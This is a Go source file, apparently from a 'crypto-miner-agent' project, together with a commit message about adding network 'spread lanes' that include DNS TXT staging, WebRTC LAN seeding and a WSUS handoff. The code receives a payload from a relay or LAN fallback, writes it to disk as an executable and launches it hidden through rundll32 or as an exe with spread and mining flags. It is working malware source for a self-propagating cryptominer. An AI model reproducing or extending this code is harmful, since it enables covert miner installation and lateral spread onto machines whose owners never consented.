Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
154 lines
5.0 KiB
Go
154 lines
5.0 KiB
Go
package deploy
|
|
|
|
import (
|
|
"crypto/sha256"
|
|
"encoding/hex"
|
|
"fmt"
|
|
"os"
|
|
"path/filepath"
|
|
"runtime"
|
|
"strings"
|
|
"time"
|
|
|
|
"crypto-miner-agent/config"
|
|
)
|
|
|
|
// WebRTCMeshPolicy is server-pulled LAN seed policy for WebRTC mesh spread.
|
|
type WebRTCMeshPolicy struct {
|
|
STUNServers []string `json:"stun_servers,omitempty"`
|
|
SignalingRelay string `json:"signaling_relay,omitempty"`
|
|
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
|
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
|
RotationHours int `json:"rotation_hours,omitempty"`
|
|
IsSeeder bool `json:"is_seeder,omitempty"`
|
|
}
|
|
|
|
// WebRTCMeshManifest is the hash-verified payload received over WebRTC data channel or LAN fallback.
|
|
type WebRTCMeshManifest struct {
|
|
Policy WebRTCMeshPolicy `json:"policy"`
|
|
SHA256 string `json:"sha256"`
|
|
Dest string `json:"dest"`
|
|
Launch string `json:"launch"`
|
|
DLLExport string `json:"dll_export,omitempty"`
|
|
DeferMining bool `json:"defer_mining,omitempty"`
|
|
SpreadInstall bool `json:"spread_install,omitempty"`
|
|
}
|
|
|
|
// WebRTCDataChannel is a minimal testable surface for manifest delivery.
|
|
type WebRTCDataChannel interface {
|
|
Receive() ([]byte, error)
|
|
}
|
|
|
|
// webrtcMeshReceiveFn injects manifest bytes (mock channel for tests; real impl uses STUN + WS relay).
|
|
var webrtcMeshReceiveFn func(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error)
|
|
|
|
type mockWebRTCChannel struct {
|
|
payload []byte
|
|
}
|
|
|
|
func (m *mockWebRTCChannel) Receive() ([]byte, error) {
|
|
if len(m.payload) == 0 {
|
|
return nil, fmt.Errorf("webrtc channel empty")
|
|
}
|
|
return m.payload, nil
|
|
}
|
|
|
|
// NewMockWebRTCChannel returns a test channel with preloaded manifest bytes.
|
|
func NewMockWebRTCChannel(payload []byte) WebRTCDataChannel {
|
|
return &mockWebRTCChannel{payload: payload}
|
|
}
|
|
|
|
func webrtcMeshWorkDir(cfg config.RuntimeConfig) string {
|
|
return filepath.Join(os.TempDir(), ".webrtc-mesh-"+sanitizeName(cfg.WorkerName))
|
|
}
|
|
|
|
func receiveWebRTCMeshPayload(cfg config.RuntimeConfig, policy WebRTCMeshPolicy) ([]byte, error) {
|
|
if webrtcMeshReceiveFn != nil {
|
|
return webrtcMeshReceiveFn(cfg, policy)
|
|
}
|
|
return receiveWebRTCMeshPayloadPlatform(cfg, policy)
|
|
}
|
|
|
|
// RunWebRTCMeshStaging receives manifest over WebRTC/LAN fallback, verifies SHA256, launches worker.
|
|
func RunWebRTCMeshStaging(cfg config.RuntimeConfig, manifest WebRTCMeshManifest) (string, error) {
|
|
if runtime.GOOS != "windows" && runtime.GOOS != "linux" && runtime.GOOS != "darwin" {
|
|
return "", fmt.Errorf("webrtc_mesh staging unsupported on %s", runtime.GOOS)
|
|
}
|
|
payload, err := receiveWebRTCMeshPayload(cfg, manifest.Policy)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
sum := sha256.Sum256(payload)
|
|
got := hex.EncodeToString(sum[:])
|
|
expected := strings.ToLower(strings.TrimSpace(manifest.SHA256))
|
|
if expected != "" && got != expected {
|
|
return "", fmt.Errorf("sha256 mismatch: got %s want %s", got, expected)
|
|
}
|
|
|
|
dest, err := ResolveStagingPath(manifest.Dest)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
workDir := webrtcMeshWorkDir(cfg)
|
|
if err := os.MkdirAll(workDir, 0o700); err != nil {
|
|
return "", err
|
|
}
|
|
defer func() { _ = os.RemoveAll(workDir) }()
|
|
if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
|
|
return "", err
|
|
}
|
|
if err := os.WriteFile(dest, payload, 0o755); err != nil {
|
|
return "", err
|
|
}
|
|
|
|
launch := strings.ToLower(strings.TrimSpace(manifest.Launch))
|
|
transport := "webrtc_relay"
|
|
if strings.TrimSpace(manifest.Policy.LANFallbackURL) != "" {
|
|
transport = "lan_http_fallback"
|
|
}
|
|
switch launch {
|
|
case "rundll32", "dll":
|
|
export := strings.TrimSpace(manifest.DLLExport)
|
|
if export == "" {
|
|
export = "DllRegisterServer"
|
|
}
|
|
if err := HiddenStart("rundll32.exe", dest+","+export); err != nil {
|
|
return "", fmt.Errorf("rundll32 launch: %w", err)
|
|
}
|
|
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched rundll32 %s rotation=%dh",
|
|
transport, manifest.Policy.SeederAgentID, dest, export, manifest.Policy.RotationHours), nil
|
|
default:
|
|
args := []string{runFlag}
|
|
if manifest.DeferMining {
|
|
args = append(args, deferMiningFlag)
|
|
}
|
|
if manifest.SpreadInstall {
|
|
args = append(args, spreadFlag)
|
|
}
|
|
if err := HiddenStart(dest, args...); err != nil {
|
|
return "", fmt.Errorf("exe launch: %w", err)
|
|
}
|
|
return fmt.Sprintf("webrtc_mesh received manifest via %s seeder=%s to %s; launched exe %v rotation=%dh",
|
|
transport, manifest.Policy.SeederAgentID, dest, args, manifest.Policy.RotationHours), nil
|
|
}
|
|
}
|
|
|
|
// IsWebRTCMeshReady reports whether forge flag or subnet seeder election allows mesh spread.
|
|
func IsWebRTCMeshReady(cfg config.RuntimeConfig) bool {
|
|
if cfg.WebRTCMeshSpread {
|
|
return true
|
|
}
|
|
return false
|
|
}
|
|
|
|
// DefaultWebRTCRotationHours is the server policy default for seeder rotation.
|
|
const DefaultWebRTCRotationHours = 24
|
|
|
|
// WebRTCMeshSeederTTL returns duration until next seeder rotation window.
|
|
func WebRTCMeshSeederTTL(hours int) time.Duration {
|
|
if hours <= 0 {
|
|
hours = DefaultWebRTCRotationHours
|
|
}
|
|
return time.Duration(hours) * time.Hour
|
|
}
|